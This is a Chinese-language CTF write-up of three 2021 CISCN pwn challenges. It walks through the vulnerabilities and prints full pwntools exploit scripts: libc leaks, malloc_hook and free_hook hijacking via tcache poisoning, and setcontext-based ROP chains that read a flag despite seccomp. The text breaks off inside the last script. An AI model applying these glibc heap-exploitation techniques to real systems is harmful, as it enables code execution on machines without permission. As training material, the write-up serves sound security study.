2021 ciscn-pwn 初赛


题目-pwny

2021全国大学生信息安全竞赛-pwny_init

保护

$ checksec ./pwny
[*] '/home/hnhuangjingyu/pwny/pwny'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$ ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.3) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

分析

main

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4FQzUxYO-1654366741330)(2021-国赛.assets/image-20220525234405472.png)]

read

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UDuvrs75-1654366741331)(2021-国赛.assets/image-20220525234430774.png)]

write

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2JOtAQpl-1654366741331)(2021-国赛.assets/image-20220525234451507.png)]

这个程序其实就是两个核心函数,和名字一样,因为操作的fd指针是个随机参数文件,我们通过修改fd指针为0,也就是控制台就可以实现任意读写了,那么程序就简单了

思路

很简单我们看这个qword_202060[input_idx]这里组的偏移是由我们决定的且没有大小限制(是int64类型的变量)。

ok看看bss段qword_202060和随机函数的fd指针只相差0x100偏移,那么就可以间接的控制fd为0了,具体利用如下:

################################ Function ############################################
def reads(offset):
    sla("Your choice:","1")
    sa("Index:",offset)
def writes(offset,data = -1):
    sla("Your choice:","2")
    sla("Index:",str(offset))
    if (data != -1):
       sd(data)
################################### Statr ############################################
writes(0x100) #第一次发现rsp的值是一个随机值
writes(0x100) #这里的rsp就为0,刚好满足需求
reads(p64(0xfffffffffffffff0))
ru('Result:')
libc.address = int(ru('\n'),16) - (0x7f5beb5afb10 - 0x7f5beb58e000)
reads(p64(0xfffffffffffffff5))
ru('Result:')
addr = int(ru('\n'),16) + (0x0000556dd6c02060 - 0x556dd6c02008)

这里就可以将fd置为0,我也是gdb调试调试着就发现的,仔细分析程序再加gdb的一些数据,思路一下就来了,这样我们就实现了任意读,从而泄漏了程序用户态地址,和libc地址,ok

再通过任意写在malloc_hook处写入one_gadget,但是我在做的时候换了所有one_gadget都不行,调试发现进入到了one_gadget函数后,遇到了一个bad 指令,然后就报错EOF了,不想放弃这个exp再使用environ进行getshell

我们看看报错时后的程序数据:

──────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007ff8a8f8e3cc  →  <do_system+1036> (bad)
$rbx   : 0x007fff58275130  →  0x007fff58275140  →  "22222222222222222222222222222222222222222222222222[...]"
$rcx   : 0x32
$rdx   : 0x402
$rsp   : 0x007fff58274e78  →  0x007ff8a8fdc2d8  →  <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax
$rbp   : 0x800
$rsi   : 0x007ff8a8fdc2d8  →  <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax
$rdi   : 0x800
$rip   : 0x007ff8a8f8e3cc  →  <do_system+1036> (bad)
$r8    : 0x007ff8a932c8c0  →  0x0000000000000000
$r9    : 0x007ff8a9558580  →  0x007ff8a9558580  →  [loop detected]
$r10   : 0x005591a6a00d01  →  0x65646e4900646c25 ("%ld"?)
$r11   : 0x005591a6a00d04  →   add BYTE PTR [rcx+0x6e], cl
$r12   : 0x007fff58275140  →  "22222222222222222222222222222222222222222222222222[...]"
$r13   : 0x400
$r14   : 0x007fff58275140  →  "22222222222222222222222222222222222222222222222222[...]"
$r15   : 0xffffffff
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fff58274e78│+0x0000: 0x007ff8a8fdc2d8  →  <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax	 ← $rsp
0x007fff58274e80│+0x0008: 0x0000000000000400
0x007fff58274e88│+0x0010: 0x007fff58275590  →  0x007fff58275680  →  0x0000000000000002
0x007fff58274e90│+0x0018: 0x0000000000000a ("\n"?)
0x007fff58274e98│+0x0020: 0x00000000000032 ("2"?)
0x007fff58274ea0│+0x0028: 0x007ff8a932aa00  →  0x00000000fbad208b
0x007fff58274ea8│+0x0030: 0x007ff8a8fac4c8  →  <_IO_vfscanf+8616> test al, al
0x007fff58274eb0│+0x0038: 0x4800490040000a ("\n"?)
────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 → 0x7ff8a8f8e3cc <do_system+1036> (bad)
   0x7ff8a8f8e3cd <do_system+1037> add    BYTE PTR [rax-0x73], cl
   0x7ff8a8f8e3d0 <do_system+1040> add    eax, 0x164a42
   0x7ff8a8f8e3d5 <do_system+1045> lea    rsi, [rip+0x39e2c4]        # 0x7ff8a932c6a0 <intr>
   0x7ff8a8f8e3dc <do_system+1052> xor    edx, edx
   0x7ff8a8f8e3de <do_system+1054> mov    edi, 0x2
───────────────────────────────────────────────────────────────────────────────────────────────
gef➤

可以看到程序执行到了one_gadget这里地方出现了一个bad(报错原因),在执行onegadget的时候报错退出一般只有寄存器数据有问题,或者是栈数据有问题,都不符合one_gadget要求,这里我的glibc的one_gadget为如下:

$ one_gadget /home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so -l2
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0xe546f execve("/bin/sh", r13, rbx)
constraints:
  [r13] == NULL || r13 == NULL
  [rbx] == NULL || rbx == NULL

0xe5617 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
  [[rbp-0x88]] == NULL || [rbp-0x88] == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe561e execve("/bin/sh", rcx, [rbp-0x70])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5622 execve("/bin/sh", rcx, rdx)
constraints:
  [rcx] == NULL || rcx == NULL
  [rdx] == NULL || rdx == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0x10a428 execve("/bin/sh", rsi, [rax])
constraints:
  [rsi] == NULL || rsi == NULLt
  [[rax]] == NULL || [rax] == NULL

再看看我的在调用malloc_hook前的栈空间,可以看到只需要提高栈0x8即可满足一些one_gadge。

解决方法:在malloc_hook中写入realloc(realloc_hook就在malloc_hook-0x8处),在realloc_hook中写入one_gadget,修改realloc的偏移+8即去掉函数开头的一个push操作,最后函数出栈就会改变原来的栈空间去调用one_gadget,修改后如下:

──────────────────────────────────────────────────────────────────────────────────── stack ────
0x007ffdb1ee74b8│+0x0000: 0x00000000000032 ("2"?)	 ← $rsp
0x007ffdb1ee74c0│+0x0008: 0x007fc5a22f4a00  →  0x00000000fbad208b
0x007ffdb1ee74c8│+0x0010: 0x007fc5a1f764c8  →  <_IO_vfscanf+8616> test al, al
0x007ffdb1ee74d0│+0x0018: 0x4800490040000a ("\n"?)
0x007ffdb1ee74d8│+0x0020: 0x007fc5a20be74b  →  0x747300445750002e ("."?)
0x007ffdb1ee74e0│+0x0028: 0x007ffdb1ee7b90  →  0x0055f52ee00900  →   xor ebp, ebp
0x007ffdb1ee74e8│+0x0030: 0x0000000000000000
0x007ffdb1ee74f0│+0x0038: 0x0000000000000000

那么exp如下:


writes("0"*0xfff,b'\x00') #初始化malloc@got


writes(int((libc.symbols['__malloc_hook'] - addr)/8)-1 , p64(libc.address + one[1]))
writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.symbols['realloc'] +8 ))
#writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.address + one[1] ))

#logs(libc.symbols['__malloc_hook'])
#logs(addr)
#logs((libc.symbols['__malloc_hook'] - addr)/8)
sla("Your choice:","2"*0xfff) #getshell

完整exp

#! /usr/bin/python3
from pwn import *

#context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./pwny"

one = [0x4f3d5,0x4f432,0x10a41c] 

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)
def logs(addr,string='logs'):
    if(isinstance(addr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
def reads(offset):
    sla("Your choice:","1")
    sa("Index:",offset)
def writes(offset,data = -1):
    sla("Your choice:","2")
    sla("Index:",str(offset))
    if (data != -1):
        sd(data)
################################### Statr ############################################
#z(''' pie breakpoint 0xb78 \n c''')
#z(''' pie breakpoint 0xc06 \n c \n c \n c ''')
writes(0x100)
writes(0x100)
reads(p64(0xfffffffffffffff0))
ru('Result:')
libc.address = int(ru('\n'),16) - (0x7f5beb5afb10 - 0x7f5beb58e000)
reads(p64(0xfffffffffffffff5))
ru('Result:')
addr = int(ru('\n'),16) + (0x0000556dd6c02060 - 0x556dd6c02008)


writes("0"*0xfff,b'\x00') #初始化malloc@got


writes(int((libc.symbols['__malloc_hook'] - addr)/8)-1 , p64(libc.address + one[1]))
writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.symbols['realloc'] +8 ))
#writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.address + one[1] ))

#logs(libc.symbols['__malloc_hook'])
#logs(addr)
#logs((libc.symbols['__malloc_hook'] - addr)/8)
sla("Your choice:","2"*0xfff)

################################### End ##############################################
p.interactive()





题目-silverwolf

2021全国大学生信息安全竞赛-ciscn_2021_silverwolf

保护

$ checksec silverwolf
[*] '/home/hnhuangjingyu/sliverwolf_my/silverwolf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开,值得注意的是我们这里查看下ldd信息

$ ldd silverwolf_init
	linux-vdso.so.1 (0x00007ffff7fcd000)
	libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007ffff7d89000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7b97000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)

可以看到这里使用了libseccomp.so,所以应该是个沙盒禁用题,我用seccomp-tools工具查看如下

$ seccomp-tools dump ./silverwolf
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0008
 0006: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0008
 0007: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL

这里可以发现确实开启了沙盒保护,且open不能使用,好像openat也不能使用,之前做过一个类似的题目ciscn_final_4(解题思路差不多,开启了反调试)感兴趣的可以去试试

分析

main

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lEfMeGcQ-1654366741332)(2021-国赛.assets/image-20220525010934909.png)]

alloc

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qWu2pTsO-1654366741332)(2021-国赛.assets/image-20220525010958060.png)]

这里知道malloc最大值为0x78,且程序只会存储一个堆块指针

edit

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qwRq0A7Q-1654366741333)(2021-国赛.assets/image-20220525011124530.png)]

这里offbynull漏洞,从这里看出来,edit并没见检查堆指针,所以即使进入到了bin中也能直接修改数据,那么就可以很方便的进行修改fd了

show

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OjjwCq19-1654366741333)(../Library/Mobile Documents/comappleCloudDocs/MD笔记/pwn/沙盒/沙盒禁用+tcache.assets/image-20220525011149124.png)]

dele

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vi7U7zjC-1654366741334)(../Library/Mobile Documents/comappleCloudDocs/MD笔记/pwn/沙盒/沙盒禁用+tcache.assets/image-20220525011309613.png)]

有uaf漏洞、doublefree

思路

这里的程序很简单漏洞百出,就是个baby题目,但是因为有了沙盒保护所以有了一丢丢难度(我也是过几天准备国赛这里才来刷往年的题目的>.<)ok话不多说开始!

因为doublefree+uaf所以我们可以很方便的进行泄漏libc

这里给大家说明下tcache的特性,这里的glibc的版本是2.27,那么在tcache初始化的时候会有一个tcache_perthread_struct的堆结构也就是那个位于堆结构第一个的堆块,在glibc2.27中它的大小为0x250,为什么是0x250呢,来看看源码定义:

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

可以看到它由两部分组成,counts用于记录每个释放tcache堆块的大小,entries用于记录释放堆块的指针也就是链表,而在64bit中TCACHE_MAX_BINS默认大小为64,那么计算得出char counts[64] = 0x40 , tcache_entry *entries[64] = 0x200,从而得出0x10 + 0x40 + 0x200 = 0x250大小,不难发现每个tcache的counts变量它的容量是char那么就是最大值为0xff

有了上面的知识那么我们使用tcache泄漏libc也就不难了

(0x20)   tcache_entry[0](7): 0x555555606610 --> 0x555555606790 --> 0x5555556065f0 --> 0x5555556068a0 --> 0x5555556060b0 --> 0x555555606450 --> 0x555555606020
(0x40)   tcache_entry[2](2): 0x555555606920 --> 0x555555606920 (overlap chunk with 0x555555606910(freed) )
(0x60)   tcache_entry[4](1): 0x5555556068c0
(0x70)   tcache_entry[5](7): 0x555555606360 --> 0x5555556060d0 --> 0x5555556062f0 --> 0x555555606490 --> 0x555555606630 --> 0x5555556067b0 --> 0x555555606040
(0x80)   tcache_entry[6](7): 0x555555605e90 --> 0x5555556061b0 --> 0x555555606250 --> 0x5555556063d0 --> 0x555555606570 --> 0x555555606820 --> 0x555555605fa0
(0xd0)   tcache_entry[11](3): 0x555555605ad0 --> 0x5555556057a0 --> 0x555555605310
(0xf0)   tcache_entry[13](2): 0x5555556066a0 --> 0x555555605cd0


gef➤  addr 0x555555605000  //查看tcache_perthread_struct内存数据
0x555555605000:	0x0000000000000000	0x0000000000000251
0x555555605010:	0x0007070100020007	0x0000020003000000 //可以发现数据都是和上面对应的
0x555555605020:	0x0000000000000000	0x0000000000000000
0x555555605030:	0x0000000000000000	0x0000000000000000  //那么我们将0x555555605030这里改为0xff000000,则表示0x250的tcache已经装满的0xff个,那么再次free则会进入unsortbin中
0x555555605040:	0x0000000000000000	0x0000000000000000
0x555555605050:	0x0000555555606610	0x0000000000000000
0x555555605060:	0x0000555555606920	0x0000000000000000
0x555555605070:	0x00005555556068c0	0x0000555555606360
0x555555605080:	0x0000555555605e90	0x0000000000000000

那么exp为:

alloc(0x30)
dele()  #free
edit('A'*0x8)
dele() #double free
show()
ru('Content: ')
heap = info(rc(6),"heap") - 0x1920  #得到堆地址

alloc(0x30)
edit(p64(heap + 0x10)) #修改fd为tcache的tcache_perthread_struct地址
alloc(0x30)
alloc(0x30)
edit(p64(0)*4 +p64(0xff000000)) #拿到tcache_perthread_struct
dele()
show()
ru('Content: ')
libc.address = info(rc(6),"libc") - (0x7f973c643ca0 - 0x7f973c258000)

泄漏了libc之后那么就是劫持程序流了,因为要在tcache中利用所以先将unsortbin中的堆块拿完,再同样的方法劫持堆块到free_hook

for i in range(11):
    alloc(0x78)
dele()
edit('A'*0x10)
dele()
alloc(0x78)
edit(p64(libc.symbols['__free_hook']))
alloc(0x78)

再向free_hook中写入一个setcontext方法指针,这个方法具体使用看这里->https://blog.csdn.net/A951860555/article/details/118268484,我这里使用它是为了得到一个gadget->mov rsp , [rdi + 0xa0] 下面我会讲到

alloc(0x78)
edit(p64(libc.symbols['setcontext'] + 0x35))

接下来就是部署open->read->puts的rop链条了,首先通过glibc找到gadget(可通过 ropper --file libc-2.27.so --nocolor > rop.txt)得到gadget

alloc(0x20)
edit('/flag\x00')

prdi = libc.address + 0x00000000000215bf
prsi = libc.address + 0x0000000000023eea
prdx = libc.address + 0x0000000000001b96
prax = libc.address + 0x0000000000043ae8
add_rsp_38 = libc.address +0x00000000000e0c4d
flag_addr = heap + 0x210

rop = p64(heap + 0x19e0 - 0x80)
rop += p64(prdi) + p64(flag_addr)
rop += p64(prsi) + p64(0)
rop += p64(prax) + p64(2)
rop += p64(libc.symbols['syscall'] + 0xf)  #这里需要非常注意要加上一个偏移才可以正常syscall
#rop += p64(libc.symbols['read'] + 0xf)  #或者直接采用read@got + 0xf也可以
rop += p64(add_rsp_38)
alloc(0x78)
edit(rop)

alloc(0x78)
rop = p64(prdi) + p64(0x3)
rop += p64(prsi)+ p64(flag_addr)
rop += p64(prdx)+ p64(100)
rop += p64(libc.symbols['read'])

rop += p64(prdi) + p64(flag_addr)
rop += p64(libc.symbols['puts'])
edit(rop)

alloc(0x50)
dele()

上面采用了syscall("flag",0,2) -> read(3,buf,100) -> puts(buf)的方式读取flag,这一块exp需要自己调试才能理解~~~这里我用的glibc是 2.27-3ubuntu1.4 题目给的glibc是2.27-3ubuntu1.3所以会有一点点偏移差距,(因为我没有找到这里glibc,懒得找>.<)

完整exp

#!/usr/bin/python3

from pwn import *

#context.terminal = ['terminator', '-x', 'sh', '-c']
#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./silverwolf"

#ld_path= "/home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so"
#libc_path = "/lib/x86_64-linux-gnu/libseccomp.so.2"
one = [0x45216,0x4526a,0xf02a4,0xf1147]

global p
local = 1
if local:
#    p = process([ld_path,binary],env={"LD_PRELOAD":libc_path})
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)
  
def logs(addr,string='logs'):
    if(isinstance(addr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
def alloc(size):
    sla("Your choice:","1")
    sla("Index:","0")
    sla("Size:",str(size))

def edit(content):
    sla("Your choice:","2")
    sla("Index:","0")
    sla("Content:",content)

def show():
    sla("Your choice:","3")
    sla("Index:","0")

def dele():
    sla("Your choice:","4")
    sla("Index:","0")


################################### End ##############################################
alloc(0x30)
dele()
edit('A'*0x8)
dele()
show()
ru('Content: ')
heap = info(rc(6),"heap") - 0x1920

alloc(0x30)
edit(p64(heap + 0x10))
alloc(0x30)
alloc(0x30)
edit(p64(0)*4 +p64(0xff000000))
dele()
show()
ru('Content: ')
libc.address = info(rc(6),"libc") - (0x7f973c643ca0 - 0x7f973c258000)

for i in range(11):
    alloc(0x78)
dele()
edit('A'*0x10)
dele()
alloc(0x78)
edit(p64(libc.symbols['__free_hook']))
alloc(0x78)

alloc(0x78)
edit(p64(libc.symbols['setcontext'] + 0x35))
#edit(p64(libc.symbols['puts']))

alloc(0x20)
edit('/flag\x00')

prdi = libc.address + 0x00000000000215bf
prsi = libc.address + 0x0000000000023eea
prdx = libc.address + 0x0000000000001b96
prax = libc.address + 0x0000000000043ae8
add_rsp_38 = libc.address +0x00000000000e0c4d
flag_addr = heap + 0x210

rop = p64(heap + 0x19e0 - 0x80)
rop += p64(prdi) + p64(flag_addr)
rop += p64(prsi) + p64(0)
rop += p64(prax) + p64(2)
rop += p64(libc.symbols['syscall'] + 0xf)  #这里需要非常注意要加上一个偏移才可以正常syscall
#rop += p64(libc.symbols['read'] + 0xf)  #或者直接采用read@got + 0xf也可以
rop += p64(add_rsp_38)
alloc(0x78)
edit(rop)

alloc(0x78)
rop = p64(prdi) + p64(0x3)
rop += p64(prsi)+ p64(flag_addr)
rop += p64(prdx)+ p64(100)
rop += p64(libc.symbols['read'])

rop += p64(prdi) + p64(flag_addr)
rop += p64(libc.symbols['puts'])
edit(rop)

alloc(0x50)
dele()
################################### End ##############################################
p.interactive()

结果

$ cat /flag
flag ~~~


$ ./exp.py
[+] Starting local process './silverwolf': pid 11606
[*] '/home/hnhuangjingyu/sliverwolf_my/silverwolf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
[*] '/home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
./exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  sla = lambda a,s:p.sendlineafter(a,s)
/home/hnhuangjingyu/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
./exp.py:33: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  ru = lambda s:p.recvuntil(s)
                heap-->0x555555606920
                libc-->0x7ffff7dcdca0
[*] Switching to interactive mode
 flag ~~~ 
\xdc\xdc\xf7\xff
$ [*] Got EOF while reading in interactive
$





题目-game

2021全国大学生信息安全竞赛-game

保护

$ checksec game
[*] '/home/hnhuangjingyu/game/game'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$ ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.

$ ldd game
	linux-vdso.so.1 (0x00007ffff7fcd000)
	libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007ffff7d86000)
	/home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so (0x00007ffff7995000)
	/lib64/2_27-linux.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)

开启了沙盒保护

分析

main

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L3Ad4isO-1654366741334)(2021-国赛.assets/image-20220602134949087.png)]

kernel

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e67D6FT6-1654366741335)(2021-国赛.assets/image-20220602135127600.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jbWm300I-1654366741335)(2021-国赛.assets/image-20220602135149516.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5242TyOU-1654366741336)(2021-国赛.assets/image-20220602135208229.png)]

init_data

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MkmqXLez-1654366741336)(2021-国赛.assets/image-20220602135234146.png)]

add_data

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Qna86EgM-1654366741337)(2021-国赛.assets/image-20220602135248037.png)]

free_data

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZFN7OQE0-1654366741338)(2021-国赛.assets/image-20220602135303116.png)]

show_data

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4fV6vHhE-1654366741338)(2021-国赛.assets/image-20220602135316940.png)]

to_up

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9ytXIMQE-1654366741339)(2021-国赛.assets/image-20220602135329401.png)]

to_down

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PpVs7Vcw-1654366741339)(2021-国赛.assets/image-20220602135440620.png)]

剩下两个都是差不多的就不贴图了

下面是我做题时画的思维图,可以参考下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H2TkPMeU-1654366741339)(2021-国赛.assets/image-20220602141023856.png)]

思路

程序首先会通过malloc申请一块初始空间,这块空间使存在于堆上面,而下面的up、down、right、left函数都是操作初始化空间里面的id值,可以注意到这里id移动没有边界范围,所以可以通过位移函数移动id值到上下堆块中造成数据覆盖,简单的说—>可以实现堆溢出

那么就很好解决了,程序其实不难理清楚程序逻辑就是一个简单的堆题

程序有uaf、show函数

################################### Statr ############################################
init(8,8)
#--------------------------overflow heap-----------------------------------------
add(5,0x3f0,'5')  #这里malloc一个很大的chunk ,使程序默认的malloc(0x20)非物理相邻
left(5)
left(5)
down(5)
down(5)  #通过移动id:5的位置造成chunk->size被覆盖成0x500
#而这里实际上chunk5距离topchunk的偏移还是0x400
add(6,0x1f0,p8(0)*0xf8 + p64(0x101)) #同样malloc一个较大的数,使它和0x500物理相邻,进一步手动修改堆结构,同时造成堆重叠
dele(5)

上面造成了堆块重叠,并且覆盖的chunk5的size为0x500,那么久可以放入unsortbin进行泄漏libc了

#--------------------------leak libc、heap-----------------------------------------
add(7,0x300,'7') #从unsortbin 分割chunk
show() #leak libc
ru(') ')
libc.address = info(rc(6)) - (0x007ffff7dce037 - 0x7ffff79e2000)
add(8,0x10,'8') #从unsortbin 分割chunk
show() #leak heap
ru(') ')
heap = info(rc(6)) - (0x2128)

有了上面堆块重叠那么就可以间接的修改tcache里面的chunk了

#--------------------------attack tcache、orw->flag -----------------------------------------
dele(6) #将被chunk5覆盖的chunk6放入到tcache
add(9,0x1b0,p8(0)*0xc0 + p64(libc.sym['__free_hook'])) #修改chunk6也就是tcachebin的fd为heaphead

add(10,0x1f0,'./flag\x00')
add(11,0x1f0,p64(libc.sym['setcontext'] + 0x35)) #拿到

rop = get_rop(libc,flag = heap + 0x2640)
add(12,0x300,p8(0)*0xa0 + p64(heap + 0x28e0) + rop)
dele(12)
################################### End ##############################################
p.interactive()

完整exp

#!/usr/bin/python3
from pwn import *

context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./game"

one = [0x45216,0x4526a,0xf02a4,0xf1147]

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc #libc = ELF('./libc_32.so.6')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)

def logs(addr,string='logs'):
    if(isinstance(addr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
def init(l, w):
    sla('cmd> ','op:1\nl:'+str(l)+'\nw:'+str(w)+'\n')

def add(ids, s,desc):
    sla('cmd> ','op:2\nid:'+str(ids)+'\ns:'+str(s)+'\n')
    sa('desc> ',desc)

def dele(ids):
    sla('cmd> ','op:3\nid:'+str(ids)+'\n')

def show():
    sla('cmd> ','op:4\n')

def down(ids):
    sla('cmd> ','op:6\nid:'+str(ids)+'\n')

def right(ids):
    sla('cmd> ','op:7\nid:'+str(ids)+'\n')

def left(ids):
    sla('cmd> ','op:8\nid:'+str(ids)+'\n')

def get_rop(libc,flag):
    prdi = libc.address + 0x00000000000215bf
    prsi = libc.address + 0x0000000000023eea
    prdx = libc.address + 0x0000000000001b96
    prax = libc.address + 0x0000000000043ae8

    rop = p64(prdi) + p64(flag)
    rop += p64(prsi) + p64(0)
